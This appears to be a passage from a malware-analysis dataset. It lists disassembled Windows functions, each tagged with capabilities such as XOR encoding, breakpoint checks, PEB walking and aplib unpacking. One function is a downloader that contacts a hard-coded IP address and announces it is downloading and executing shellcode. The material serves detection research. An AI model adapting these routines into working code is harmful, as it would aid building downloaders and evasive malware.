joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180095680
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
lea rbp, [rsp + 0x20]
lea eax, [rdx + rdx*4]
mov qword [rbp + 0x80], rbx
shl eax, 4
mov rbx, r8
mov dword [rbp], edx
mov r8d, edx
mov dword [rbp + 8], eax
mov rdi, rcx
cmp edx, eax
ja 0x18009571e
movsxd r15, dword [rbp + 0x78]
movabs r10, 0xffffffffffffff0
mov esi, dword [rbp + 0x78]
mov eax, edx
sub eax, 0x17
je 0x1800957f0
sub eax, 0xc5
je 0x1800957e6
sub eax, 0x3d
je 0x18009583b
cmp eax, 0x10f3
jne 0x180095823
mov r13d, 3
mov eax, r13d
sub eax, 3
je 0x18009573f
cmp eax, 1
jne 0x1800957d0
mov eax, dword [rbp + 4]
mov dword [rbp + 0x10], eax
mov rdi, qword [rbp + 0x70]
movups xmm0, xmmword [rbp + 0x10]
mov rax, rdi
movups xmmword [rdi], xmm0
mov rbx, qword [rbp + 0x80]
lea rsp, [rbp + 0x30]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov eax, dword [r9]
xor r10d, r10d
test eax, eax
jle 0x1800957bd
movsxd r14, eax
mov r12d, eax
nop
xor ecx, ecx
xor r9d, r9d
test r14, r14
jle 0x18009579c
movsx r11d, word [rbx + r10*4]
movsx edi, word [rbx + r10*4 + 2]
nop word [rax + rax]
movsx eax, word [rbx + r9*4 + 2]
sub eax, edi
cdq
mov r8d, eax
movsx eax, word [rbx + r9*4]
sub eax, r11d
xor r8d, edx
sub r8d, edx
inc r9
cdq
xor eax, edx
sub eax, edx
add ecx, eax
add ecx, r8d
cmp r9, r14
jl 0x180095770
cmp ecx, esi
mov rax, r10
cmovg rax, r15
cmovg ecx, esi
inc r10
mov r15, rax
mov esi, ecx
sub r12, 1
jne 0x180095750
mov r9, qword [rbp + 0x88]
movzx eax, word [rbx + r15*4]
mov word [rbp + 4], ax
movzx eax, word [rbx + r15*4 + 2]
mov word [rbp + 6], ax
inc r13d
cmp r13d, 5
jb 0x180095703
mov edx, dword [rbp]
mov r8d, dword [rbp + 0x78]
jmp 0x180095819
xor r15d, r15d
mov esi, 0x3fffffff
jmp 0x180095823
movsxd rax, dword [rbx]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x1800957ff
mov rcx, r10
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1800c7f10
sub rsp, rcx
lea rax, [rsp + 0x20]
mov dword [rax], 0
movabs r10, 0xffffffffffffff0
lea eax, [r8 + r8*4]
lea edx, [rdx + rax*4]
mov dword [rbp], edx
cmp edx, dword [rbp + 8]
ja 0x18009571a
jmp 0x1800956d3
mov eax, dword [r9]
lea r8, [rbp + 0x10]
movups xmm0, xmmword [rbx]
lea r9, [rbp + 0x78]
mov dword [rbp + 0x78], eax
mov edx, 0xd0
lea rcx, [rbp + 0x20]
movaps xmmword [rbp + 0x10], xmm0
call fcn.1800c1c00
mov rax, qword [rbp + 0x70]
movups xmm0, xmmword [rbp + 0x20]
movups xmmword [rax], xmm0
jmp 0x180095728
Function at 0x1800af7d0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x90
lea r14d, [r8 + 0x270]
mov rdi, r9
mov ebx, r8d
mov rsi, rdx
mov rbp, rcx
cmp r8d, r14d
jae 0x1800af91d
xor r15d, r15d
nop word [rax + rax]
cmp ebx, 0xe3
ja 0x1800af894
je 0x1800af91d
mov eax, ebx
sub eax, 0x11
je 0x1800af8e1
sub eax, 0x6a
je 0x1800af84a
cmp eax, 0x45
jne 0x1800af8d3
mov qword [0x180114388], rdi
mov qword [rdi + 0x80], rsi
jmp 0x1800af8d3
movzx ecx, byte [rsi]
lea r9, [rsp + 0xb0]
shr qword [rdi + 8], cl
lea r8, [rsp + 0x30]
movzx ecx, byte [rsi]
mov rdx, qword [rdi + 8]
shr qword [rdi], cl
lea rcx, [rsp + 0x50]
mov rax, qword [rdi]
mov qword [rsp + 0x30], rdx
mov edx, 0xe6
mov qword [rsp + 0xb0], rax
call fcn.180030b60
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x40], xmm0
jmp 0x1800af8d3
mov eax, ebx
sub eax, 0x128
je 0x1800af8a4
cmp eax, 0x68
je 0x1800af91d
jmp 0x1800af8d3
mov qword [rsp + 0x28], r15
lea r8, [0x180018f20]
mov r9, rdi
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1800af918
xchg qword [0x180114390], rax
mov byte [rsp + 0x40], 1
add ebx, 0x68
cmp ebx, r14d
jb 0x1800af810
jmp 0x1800af91d
movups xmm0, xmmword [rsi]
lea r9, [rsp + 0x60]
mov r8d, 0x114
movups xmm1, xmmword [rdi]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x80]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x70], xmm1
call fcn.180032880
movups xmm0, xmmword [rsp + 0x80]
jmp 0x1800af922
mov byte [rsp + 0x40], r15b
movaps xmm0, xmmword [rsp + 0x40]
lea r11, [rsp + 0x90]
mov rax, rbp
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x38]
movups xmmword [rbp], xmm0
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x1800c1030
Capabilities:
Check for software breakpoints

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov r15, rcx
mov r14, r9
mov ecx, dword [rsp + 0xb0]
mov rsi, r8
mov r13, rdx
lea eax, [rcx + 0x28]
mov dword [rsp + 0x30], eax
cmp ecx, eax
jae 0x1800c11d3
mov rbp, qword [rsp + 0xb8]
xor r10d, r10d
mov r12, qword [rsp + 0xa0]
mov eax, dword [rsp + 0xb0]
mov edx, dword [rsp + 0x30]
nop dword [rax]
sub ecx, 0x4c
je 0x1800c11f6
cmp ecx, 0x44
jne 0x1800c11ba
mov ecx, dword [rsi]
mov edi, r10d
test ecx, ecx
jle 0x1800c11ba
nop
mov ebx, r10d
mov edx, ecx
test ecx, ecx
jle 0x1800c11aa
nop dword [rax]
mov rdx, qword [rsp + 0xa8]
imul ecx, edi
mov r9d, dword [rdx]
mov dword [rsp + 0x38], r9d
add ecx, ebx
movsxd rcx, ecx
movsx r8d, word [r12 + rcx*2]
mov ecx, dword [r13]
imul ecx, edi
add ecx, ebx
movsxd rcx, ecx
movzx edx, byte [rcx + r15]
add r8d, edx
mov edx, 0xd0
mov dword [rsp + 0x40], r8d
nop dword [rax + rax]
mov ecx, edx
sub ecx, 0xca
je 0x1800c113a
sub ecx, 3
je 0x1800c1162
cmp ecx, 3
jne 0x1800c114e
mov eax, dword [rsp + 0x40]
mov ecx, r9d
test eax, eax
mov edx, eax
mov r8d, 1
cmovs edx, r10d
shl r8d, cl
lea ecx, [r8 - 1]
cmp ecx, edx
jge 0x1800c115a
lea eax, [r8 - 1]
jmp 0x1800c118e
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x60], rcx
movups xmmword [rsp + 0x50], xmm0
dec edx
cmp edx, 0xcd
ja 0x1800c1100
jmp 0x1800c118e
test eax, eax
cmovs eax, r10d
jmp 0x1800c118e
mov r8, qword [pe_dos_header]
lea rdx, [rsp + 0x38]
mov rax, qword [0x180112060]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x28], r10
xor r9d, r9d
mov qword [rsp + 0x20], r8
call qword [rax + 0x10]
xor r10d, r10d
mov ecx, dword [r14]
imul ecx, edi
add ecx, ebx
inc ebx
movsxd rcx, ecx
mov byte [rcx + rbp], al
mov edx, dword [rsi]
mov ecx, edx
cmp ebx, edx
jl 0x1800c10c0
inc edi
mov ecx, edx
cmp edi, edx
jl 0x1800c10b0
mov edx, dword [rsp + 0x30]
mov ecx, dword [rsp + 0xb0]
add ecx, 0x14
mov dword [rsp + 0xb0], ecx
cmp ecx, edx
jb 0x1800c1090
mov rax, qword [rsp + 0x38]
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, qword [r15]
lea r8, [rsp + 0x38]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
mov rax, qword [r12]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x20], 0xe1
call fcn.1800994f0
jmp 0x1800c11d8
Function at 0x1800e19a0
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x1800e1840
call fcn.1800d8a94
mov dword [rax], 0x16
call fcn.1800cdf34
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1800e1828
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x1800e1828
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x1800e1872
lock or dword [rax + 0x14], 0x10
jmp 0x1800e1828
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x1800e188f
mov rcx, qword [rbp + 0x10]
call fcn.1800ea15c
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.1800dfdcc
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.1800e1278
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x1800e18e6
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x1800e1828
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x1800e1952
mov rcx, qword [rbp + 0x10]
call fcn.1800dfdcc
cmp eax, 0xffffffff
je 0x1800e1939
mov rcx, qword [rbp + 0x10]
call fcn.1800dfdcc
cmp eax, 0xfffffffe
je 0x1800e1939
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.1800dfdcc
movsxd rdi, eax
lea rsi, [0x1801159d0]
mov rcx, rbx
sar rdi, 6
call fcn.1800dfdcc
and eax, 0x3f
shl rax, 6
add rax, qword [rsi + rdi*8]
jmp 0x1800e1940
lea rax, [0x180113970]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1800e1952
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x1800e1988
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x1800e1984
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x1800e1984
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x1800e182b
jmp 0x1800e17f8

Function at 0x1800e2e14
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x1800e2df1
call fcn.1800d8a94
mov dword [rax], 0x16
call fcn.1800cdf34
or eax, 0xffffffff
jmp 0x1800e2e0e
sub dword [rcx + 0x10], 1
jns 0x1800e2e00
add rsp, 0x28
jmp fcn.1800e19a0
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x1800e2dd0
Function at 0x14000adae
Capabilities:
Access peb ldr_data
Get process filename

Disassembly:
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax*2 + 2]
mov qword [rsp + 0x38], rax
jmp 0x14000d614
mov rax, qword [rsp + 0x48]
add rsp, 0x68
ret
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword gs:[0x60]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov rax, qword [rax + 0x20]
sub rax, 0x10
jmp 0x14000c1dd
mov rcx, qword [rsp + 0x70]
call fcn.140009833
jmp 0x14000e8bf
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x50]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000d9bf
jmp 0x14000ed72
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x48], 0
jmp 0x14000bbe6
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
movzx eax, word [rcx + rax*2]
cmp eax, 0x5c
je 0x140009b50
jmp 0x14000cd79
test eax, eax
jne 0x14000d9bf
jmp 0x14000ef1e
jmp 0x14000d614
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
movzx eax, word [rcx + rax*2]
test eax, eax
jne 0x14000c85f
jmp 0x14000ae7f
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x10]
sub rax, 0x10
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x40]
cmp qword [rsp + 0x30], rax
je 0x140009d6e
jmp 0x14000bbe6
xor r9d, r9d
mov r8d, eax
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
call fcn.14000a4aa
jmp 0x14000c880
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x20], 0
jmp 0x14000ff8a
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x48], rax
jmp 0x140009d6e
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
movzx eax, word [rcx + rax*2]
test eax, eax
jne 0x14000c85f
jmp 0x14000ae7f
Function at 0x1413be108
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1413be28f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1413be139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1413be11f
add dl, dl
jne 0x1413be146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1413be1a6
xor eax, eax
add dl, dl
jne 0x1413be155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1413be25d
add dl, dl
jne 0x1413be166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413be173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413be180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413be18d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1413be19a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1413be12e
mov eax, 1
add dl, dl
jne 0x1413be1b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413be1c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1413be1ab
sub eax, ebx
mov ebx, 1
jne 0x1413be1fc
mov ecx, 1
add dl, dl
jne 0x1413be1de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1413be1eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1413be1d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1413be12e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1413be218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1413be225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1413be20d
cmp eax, 0x7d00
jae 0x1413be24b
cmp eax, 0x500
jb 0x1413be246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1413be12e
cmp eax, 0x7f
ja 0x1413be24e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1413be12e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1413be282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1413be12e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001070
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x1050
call fcn.140001ea0
sub rsp, rax
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x1040], rax
xor edi, edi
lea rcx, str.HTTPGET
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
lea edx, [rdi + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
jne 0x1400010cd
lea rcx, str.Failed_to_open_internet._n
call fcn.140001010
lea eax, [rdi + 1]
jmp 0x140001175
mov qword [rsp + 0x28], rdi
lea rdx, str.http:__192.227.234.140:5000_receive_ip_1215584123564dx
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
jne 0x140001112
lea rcx, str.Failed_to_open_URL._n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [rdi + 1]
jmp 0x140001175
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [rsp + 0x30], 0
jbe 0x140001167
mov r8d, 5
lea rdx, str.ALLOW
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
lea rcx, str.Downloading_and_executing_shellcode..._n
test eax, eax
je 0x14000116e
lea rcx, str.Server_denied_the_download_request._n
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400011b0
mov rbx, qword [rsp + 0x1060]
add rsp, 0x1050
pop rdi
ret
Function at 0x1800062b0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xe0
mov rbx, rdx
mov ecx, 0xb0
lea rdx, [0x18011cd00]
call fcn.1800fbf34
mov rdi, rax
test rax, rax
je 0x1800064d2
lea rcx, [rax + 1]
xor edx, edx
mov r8d, 0xaf
call sub.VCRUNTIME140.dll_memset
lea rcx, [rdi + 8]
mov byte [rdi], 1
mov edx, 2
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [rdi + 0x58]
call qword [sym.imp.MSVCP140.dll__Cnd_init_in_situ]
xorps xmm0, xmm0
mov dword [rsp + 0x28], 0x20
lea rax, [rsp + 0xa0]
mov qword [0x180230a28], rdi
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
lea r8, [0x180197b08]
xor edx, edx
mov ecx, 0xfde9
movups xmmword [rdi + 0xa0], xmm0
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.180005050
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, [0x18020f720]
mov dword [0x180234e98], eax
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x18000637f
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
test rbx, rbx
je 0x18000639f
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x180230c30], xmm0
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [0x180230c40], xmm1
jmp 0x1800063bf
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [0x180230c30], xmm0
movups xmmword [0x180230c40], xmm0
movups xmmword [0x180230c50], xmm0
lea rcx, [0x18020f720]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [0x180230e60], xmm0
movups xmmword [0x180230e70], xmm0
movups xmmword [0x180230e80], xmm0
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
cmp qword [0x180234fa0], 0
jne 0x1800064db
mov rdi, qword [0x180230a28]
lea rax, [0x18020c5d8]
mov qword [0x1802350c0], rax
mov ecx, 8
lea rax, [0x1802350c0]
mov byte [0x1802350e0], 0
mov qword [0x180234fa0], rax
lea rax, [0x180006990]
mov qword [0x1802350d0], rax
lea rax, [0x1800069a0]
mov qword [0x1802350d8], rax
mov eax, 1
xchg byte [rdi], al
call fcn.1800fbb44
lea rcx, [rsp + 0x38]
xor ebx, ebx
mov qword [rsp + 0x28], rcx
lea r8, [0x180006b40]
xor ecx, ecx
mov dword [rsp + 0x20], ebx
mov r9, rax
mov qword [rax], rdi
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1800064c2
cmp dword [rdi + 0xa8], ebx
jne 0x1800064bb
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rdi + 0xa0], xmm1
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 6
mov dword [rsp + 0x38], ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xor ebx, ebx
mov qword [0x180230a28], rbx
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rdi
ret
Function at 0x180006c60
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov edx, dword [rcx]
mov r9d, 0x138
mov r10, rcx
cmp edx, r9d
jne 0x180006cd2
lea r8, [rcx + 0x10]
movabs r11, 0xb5026f5aa96619e9
nop dword [rax]
nop word [rax + rax]
mov edx, dword [r8 - 8]
xor edx, dword [r8]
lea r8, [r8 + 8]
btr edx, 0x1f
xor rdx, qword [r8 - 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r8 + 0x4d0]
xor rcx, rdx
mov qword [r8 + 0x9b0], rcx
sub r9, 1
jne 0x180006c90
mov edx, dword [r10]
jmp 0x180006dd3
cmp edx, 0x270
jb 0x180006dd3
mov qword [rsp + 0x10], rbx
movabs r11, 0xb5026f5aa96619e9
lea rbx, [rcx + 0x9c8]
mov qword [rsp], rdi
mov rax, qword [rbx]
mov edi, 0x9c
mov rdx, qword [rbx + 8]
lea r8, [rbx + 8]
xor rdx, rax
btr edx, 0x1f
xor rdx, rax
movzx eax, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx + 0x4e0]
xor rcx, rdx
mov qword [rbx - 0x9c0], rcx
lea rbx, [r8]
sub rdi, 1
jne 0x180006d00
lea rbx, [r10 + 0xea8]
mov edi, 0x9b
mov rax, qword [rbx]
nop
mov rdx, rax
lea r8, [rbx + 8]
xor rdx, qword [r8]
btr edx, 0x1f
xor rdx, rax
movzx eax, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx - 0xea0]
xor rcx, rdx
mov qword [rbx - 0x9c0], rcx
lea rbx, [r8]
sub rdi, 1
jne 0x180006d50
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 8]
mov rdi, qword [rsp]
btr edx, 0x1f
xor rdx, qword [r10 + 0x1380]
mov rbx, qword [rsp + 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r10 + 0x4e0]
xor rcx, rdx
xor edx, edx
mov qword [r10 + 0x9c0], rcx
mov dword [r10], edx
mov eax, edx
xorps xmm0, xmm0
mov rcx, qword [r10 + rax*8 + 8]
lea eax, [rdx + 1]
mov dword [r10], eax
movabs rdx, 0x38eb3ffff6d3
mov rax, rcx
shr rax, 0x1d
and rax, qword [r10 + 0x1388]
xor rcx, rax
mov rax, rcx
and rax, rdx
shl rax, 0x11
xor rcx, rax
mov rax, rcx
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rcx, rax
mov rdx, rcx
shr rdx, 0x2b
xor rdx, rcx
js 0x180006e39
cvtsi2sd xmm0, rdx
mulsd xmm0, qword [0x18019f3c8]
add rsp, 8
ret
mov rax, rdx
and edx, 1
shr rax, 1
or rax, rdx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, qword [0x18019f3c8]
add rsp, 8
ret
Function at 0x1800072e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rdi, qword [0x180234fa0]
mov rbx, r8
lea rsi, [rdi + 0x164]
lea rcx, [rdi + 0x16c]
mov dword [rsi], 1
call sub.VCRUNTIME140.dll_memcpy
mov dword [rdi + 0x168], ebx
add rbx, 8
je 0x1800073bb
mov rax, qword [rdi]
test rax, rax
je 0x18000736b
mov rcx, qword [rax + 8]
cmp rcx, 0xffffffffffffffff
je 0x18000736b
test rsi, rsi
je 0x18000736b
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], 0
mov r8d, ebx
mov qword [rsp + 0x20], 0
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x18000736b
cmp dword [rsp + 0x40], ebx
je 0x1800073bb
mov r8, qword [rdi + 0x18]
test r8, r8
je 0x18000738a
mov eax, dword [rdi + 8]
dec eax
test eax, 0xfffffffd
jne 0x18000738a
mov ecx, dword [rdi + 0x60]
lea rdx, [rdi + 0x64]
call r8
mov rbx, qword [rdi]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 8], 0xffffffffffffffff
xor al, al
mov byte [rbx], 0
mov dword [rdi + 8], 0
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rbx, qword [rsp + 0x48]
mov al, 1
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x18000c290
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, 0xffffffff
test edx, edx
je 0x18000c2ce
mov r9d, edx
lea r10, [0x18017e450]
nop dword [rax]
nop word [rax + rax]
movzx r8d, word [rcx]
lea rcx, [rcx + 2]
mov edx, eax
shr eax, 8
xor r8, rdx
movzx edx, r8b
xor eax, dword [r10 + rdx*4]
sub r9, 1
jne 0x18000c2b0
not eax
ret
Function at 0x180014e90
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test rcx, rcx
je 0x180014ef0
mov r8, qword [rcx]
test r8, r8
je 0x180014ef0
mov r8, qword [r8 + 0x10]
mov eax, 0xffffffff
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [r8 + rcx], 0
jne 0x180014eb0
test ecx, ecx
je 0x180014eed
mov r9d, ecx
lea r10, [0x18017e450]
nop dword [rax + rax]
movsx edx, byte [r8]
lea r8, [r8 + 1]
mov ecx, eax
shr eax, 8
xor rdx, rcx
movzx ecx, dl
xor eax, dword [r10 + rcx*4]
